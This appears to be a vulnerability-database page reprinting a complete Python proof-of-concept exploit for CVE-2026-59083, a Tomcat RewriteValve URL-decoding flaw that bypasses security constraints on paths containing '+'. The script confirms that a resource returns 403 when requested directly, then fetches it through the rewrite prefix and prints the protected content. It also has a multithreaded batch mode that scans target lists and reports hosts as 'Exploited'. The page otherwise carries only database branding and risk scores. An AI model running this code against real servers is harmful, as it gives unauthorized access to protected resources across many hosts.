Lucene search
+L

Apache Tomcat 11.0.23 RewriteValve Authentication Bypass

🗓️ 12 Aug 2026 00:00:00Reported by 1dayexploitType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 29 Views

CVE-2026-59083: RewriteValve URL-decoding bypass skips security constraints in Tomcat up to 11.0.23.

Related
Code
#!/usr/bin/env python3
    """
    CVE-2026-59083 - Apache Tomcat RewriteValve URL-decoding security constraint bypass
    Affected: Apache Tomcat 8.5.0-8.5.100, 9.0.0.M1-9.0.119, 10.1.0-M1-10.1.56, 11.0.0-M1-11.0.23
    Fixed in: 9.0.120, 10.1.57, 11.0.24 (8.5.x is end of life, no fix)
    Type: Auth bypass (security constraint bypass, CWE-177)
    
    RewriteValve rebuilds the decoded request URI with java.net.URLDecoder, which
    implements application/x-www-form-urlencoded semantics and therefore turns a
    literal '+' into a space. The un-decoded requestURI keeps the '+'. Authorization
    (RealmBase.findSecurityConstraints) matches against the decoded view, so a
    <security-constraint> whose <url-pattern> contains a '+' stops matching, while
    the Mapper still routes the request to the servlet. One unauthenticated GET
    through the rewrite prefix reaches a resource that returns 403 when requested
    directly.
    
    Preconditions on the target (all deployer-side, none are Tomcat defaults):
      - RewriteValve enabled with at least one internal (non [R]/[F]/[G]) rewrite rule
      - a protected path containing a literal '+' that the rewrite rule can produce
    
    Usage:
      python exploit.py --host <target> --port <port>
      python exploit.py --host 192.168.1.10 --port 8080
      python exploit.py --host https://192.168.1.10:8443
      python exploit.py --host https://tomcat.corp.com \
                        --path "/app/team+east/secret" --rewrite-prefix /s --rewrite-target /app
      python exploit.py --list targets.txt --workers 20
    
    Arguments beyond --host/--port are target specific because the bypass depends on
    the deployment's own rewrite rules and constraint layout:
      --path            the protected path, exactly as a client would request it
                        (must contain a literal '+'); returns 403 when asked directly
      --rewrite-prefix  the URL prefix the rewrite rule matches on (rule left side)
      --rewrite-target  the prefix the rule rewrites to (rule right side), stripped
                        from --path before the bypass URL is assembled
    There is no --username argument: the constraint carries an empty <auth-constraint>
    style deny, so nothing is being authenticated as anybody - the check is skipped
    outright rather than satisfied.
    
    Standard library only. Requests are built on a raw socket so the '+' in the path
    is transmitted verbatim; an HTTP client that rewrites '+' to %20 destroys the test.
    """
    
    import argparse
    import secrets
    import socket
    import ssl
    import sys
    from urllib.parse import urlparse
    
    CVE_ID = "CVE-2026-59083"
    VULN_TYPE = "Auth Bypass"
    
    DEFAULT_PATH = "/app/team+east/secret"
    DEFAULT_REWRITE_PREFIX = "/s"
    DEFAULT_REWRITE_TARGET = "/app"
    
    UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
    
    TIMEOUT = 10.0
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # ---------------------------------------------------------------- HTTP client
    
    def _host_header(host: str, port: int, use_tls: bool) -> str:
        """Host header value, bracketing literal IPv6 addresses."""
        h = f"[{host}]" if ":" in host else host
        default = 443 if use_tls else 80
        return h if port == default else f"{h}:{port}"
    
    
    def _dechunk(body: bytes) -> bytes:
        out = b""
        while True:
            nl = body.find(b"\r\n")
            if nl < 0:
                break
            try:
                size = int(body[:nl].split(b";", 1)[0].strip(), 16)
            except ValueError:
                return out or body
            if size == 0:
                break
            chunk = body[nl + 2:nl + 2 + size]
            out += chunk
            body = body[nl + 2 + size + 2:]
        return out
    
    
    def http_get(host: str, port: int, use_tls: bool, path: str, timeout: float = TIMEOUT):
        """Raw-socket GET. The path is placed in the request line byte for byte.
    
        Returns (status_code, headers_text, body_text).
        """
        req = (
            f"GET {path} HTTP/1.1\r\n"
            f"Host: {_host_header(host, port, use_tls)}\r\n"
            f"User-Agent: {UA}\r\n"
            "Accept: */*\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).encode("utf-8", "surrogateescape")
    
        sock = socket.create_connection((host, port), timeout=timeout)
        try:
            if use_tls:
                ctx = ssl.create_default_context()
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
                sock = ctx.wrap_socket(sock, server_hostname=host)
            sock.sendall(req)
            raw = b""
            while True:
                buf = sock.recv(65536)
                if not buf:
                    break
                raw += buf
                if len(raw) > 2 * 1024 * 1024:
                    break
        finally:
            try:
                sock.close()
            except OSError:
                pass
    
        split = raw.find(b"\r\n\r\n")
        if split < 0:
            return 0, raw.decode("utf-8", "replace"), ""
        head = raw[:split].decode("iso-8859-1")
        body = raw[split + 4:]
        if "transfer-encoding: chunked" in head.lower():
            body = _dechunk(body)
        try:
            status = int(head.split(" ", 2)[1])
        except (IndexError, ValueError):
            status = 0
        return status, head, body.decode("utf-8", "replace")
    
    
    # ------------------------------------------------------------ path assembly
    
    def bypass_path(protected: str, rewrite_prefix: str, rewrite_target: str) -> str:
        """Rewrite-prefixed URL that the valve will internally rewrite onto `protected`."""
        p = protected if protected.startswith("/") else "/" + protected
        prefix = rewrite_prefix.rstrip("/")
        target = rewrite_target.rstrip("/")
        if target and (p == target or p.startswith(target + "/")):
            tail = p[len(target):]
        else:
            tail = p
        return prefix + tail
    
    
    def control_path(path: str) -> str:
        """Same URL with the '+'-bearing segment swapped for a throwaway one.
    
        Proves the rewrite rule is live without touching the protected namespace.
        """
        segments = path.split("/")
        replaced = False
        for i, seg in enumerate(segments):
            if not replaced and "+" in seg:
                segments[i] = "probe" + secrets.token_hex(4)
                replaced = True
        return "/".join(segments)
    
    
    def encoded_variant(path: str) -> str:
        """Percent-encode the literal '+' characters in the path."""
        return path.replace("+", "%2B")
    
    
    def plus_segment(path: str) -> str:
        for seg in path.split("/"):
            if "+" in seg:
                return seg
        return ""
    
    
    def decode_divergence(body: str, protected: str) -> str:
        """If the handler echoes its own view of the path, report the mismatch.
    
        Optional corroboration only: most real applications echo nothing, and the
        status-code flip is what actually proves the bypass.
        """
        seg = plus_segment(protected)
        if not seg or not body:
            return ""
        spaced = seg.replace("+", " ")
        if seg in body and spaced in body:
            lines = [ln.strip() for ln in body.splitlines()
                     if seg in ln or spaced in ln]
            return " | ".join(lines[:4])
        return ""
    
    
    # ------------------------------------------------------------- scan plumbing
    
    def _try_exploit(host: str, port: int, use_tls: bool, path: str = DEFAULT_PATH,
                     rewrite_prefix: str = DEFAULT_REWRITE_PREFIX,
                     rewrite_target: str = DEFAULT_REWRITE_TARGET):
        """Silent probe for --list scan mode. Returns (success, evidence)."""
        try:
            direct, _, _ = http_get(host, port, use_tls, path)
            if direct not in (401, 403):
                return False, f"resource not protected (direct GET {path} -> {direct})"
    
            bp = bypass_path(path, rewrite_prefix, rewrite_target)
            for candidate in (bp, encoded_variant(bp)):
                status, _, body = http_get(host, port, use_tls, candidate)
                if status == 200:
                    extra = decode_divergence(body, path)
                    note = f"; {extra}" if extra else ""
                    return True, f"{candidate} -> 200 while {path} -> {direct}{note}"
            return False, f"constraint held (bypass -> {status})"
        except Exception as exc:
            return False, f"unreachable ({exc.__class__.__name__})"
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, _ = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, **kwargs)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - "
                      f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / "
              f"{total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # ------------------------------------------------------------------ exploit
    
    def exploit(host: str, port: int, use_tls: bool, path: str,
                rewrite_prefix: str, rewrite_target: str) -> None:
        header(host, port)
    
        if "+" not in path:
            done(False, f"--path '{path}' contains no literal '+' - "
                        "this bug only bypasses constraints whose pattern has one")
    
        bp = bypass_path(path, rewrite_prefix, rewrite_target)
        cp = control_path(bp)
    
        step(1, f"Control - confirming the rewrite rule is live: GET {cp}")
        try:
            c_status, _, c_body = http_get(host, port, use_tls, cp)
        except Exception as exc:
            done(False, f"target unreachable: {exc.__class__.__name__}: {exc}")
        print(f"        -> HTTP {c_status}")
        if c_status == 404:
            print("        !! 404: the rewrite rule did not fire. Either the prefix is wrong "
                  "or RewriteValve is not configured. Continuing, but a negative result below "
                  "will be inconclusive rather than proof of a patch.")
        elif c_status in (401, 403):
            print("        !! the control path is itself protected - pick a --rewrite-prefix "
                  "whose namespace is not blanket-restricted.")
        else:
            section("CONTROL RESPONSE", c_body[:600])
    
        step(2, f"Baseline - the protected resource, requested directly: GET {path}")
        try:
            d_status, _, d_body = http_get(host, port, use_tls, path)
        except Exception as exc:
            done(False, f"target unreachable: {exc.__class__.__name__}: {exc}")
        print(f"        -> HTTP {d_status}")
        if d_status not in (401, 403):
            section("DIRECT RESPONSE", d_body[:600])
            done(False, f"resource is not access controlled (direct GET {path} returned "
                        f"{d_status}) - there is no constraint here to bypass")
        print("        -> access control confirmed: the resource is denied on the direct route")
    
        results = []
        for n, candidate in ((3, bp), (4, encoded_variant(bp))):
            label = "raw '+'" if n == 3 else "percent-encoded '%2B'"
            step(n, f"Bypass, {label}: GET {candidate}")
            try:
                b_status, _, b_body = http_get(host, port, use_tls, candidate)
            except Exception as exc:
                print(f"        -> request failed: {exc.__class__.__name__}: {exc}")
                results.append((candidate, 0, ""))
                continue
            print(f"        -> HTTP {b_status}")
            results.append((candidate, b_status, b_body))
            if b_status == 200:
                section(f"PROTECTED CONTENT ({candidate})", b_body[:1500])
    
        hits = [(c, s, b) for c, s, b in results if s == 200]
        if not hits:
            last = results[-1][2] if results else ""
            section("SERVER RESPONSE", (last or "<empty>")[:600])
            statuses = ", ".join(f"{c} -> {s}" for c, s, _ in results)
            done(False, f"constraint held on every rewrite route ({statuses}) - "
                        "target is patched (9.0.120 / 10.1.57 / 11.0.24 or later) "
                        "or the rewrite rule does not reach the protected path")
    
        cand, _, body = hits[0]
        divergence = decode_divergence(body, path)
        if divergence:
            section("DECODE DIVERGENCE (server describing its own bug)", divergence)
    
        evidence = (f"Security constraint bypassed - GET {cand} returned 200 with the "
                    f"protected body while GET {path} returns {d_status}")
        if divergence:
            evidence += f"; decoded path diverges: {divergence}"
        done(True, evidence)
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                               "(e.g. https://host:8443)")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=8080,
                            help="Default port (default: 8080)")
        parser.add_argument("--path", default=DEFAULT_PATH,
                            help=f"Protected path containing a literal '+' "
                                 f"(default: {DEFAULT_PATH})")
        parser.add_argument("--rewrite-prefix", default=DEFAULT_REWRITE_PREFIX,
                            help=f"URL prefix the rewrite rule matches "
                                 f"(default: {DEFAULT_REWRITE_PREFIX})")
        parser.add_argument("--rewrite-target", default=DEFAULT_REWRITE_TARGET,
                            help=f"Prefix the rewrite rule rewrites to "
                                 f"(default: {DEFAULT_REWRITE_TARGET})")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        opts = {
            "path": args.path,
            "rewrite_prefix": args.rewrite_prefix,
            "rewrite_target": args.rewrite_target,
        }
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers, **opts)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, **opts)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Aug 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.19.1
EPSS0.0037
SSVC
29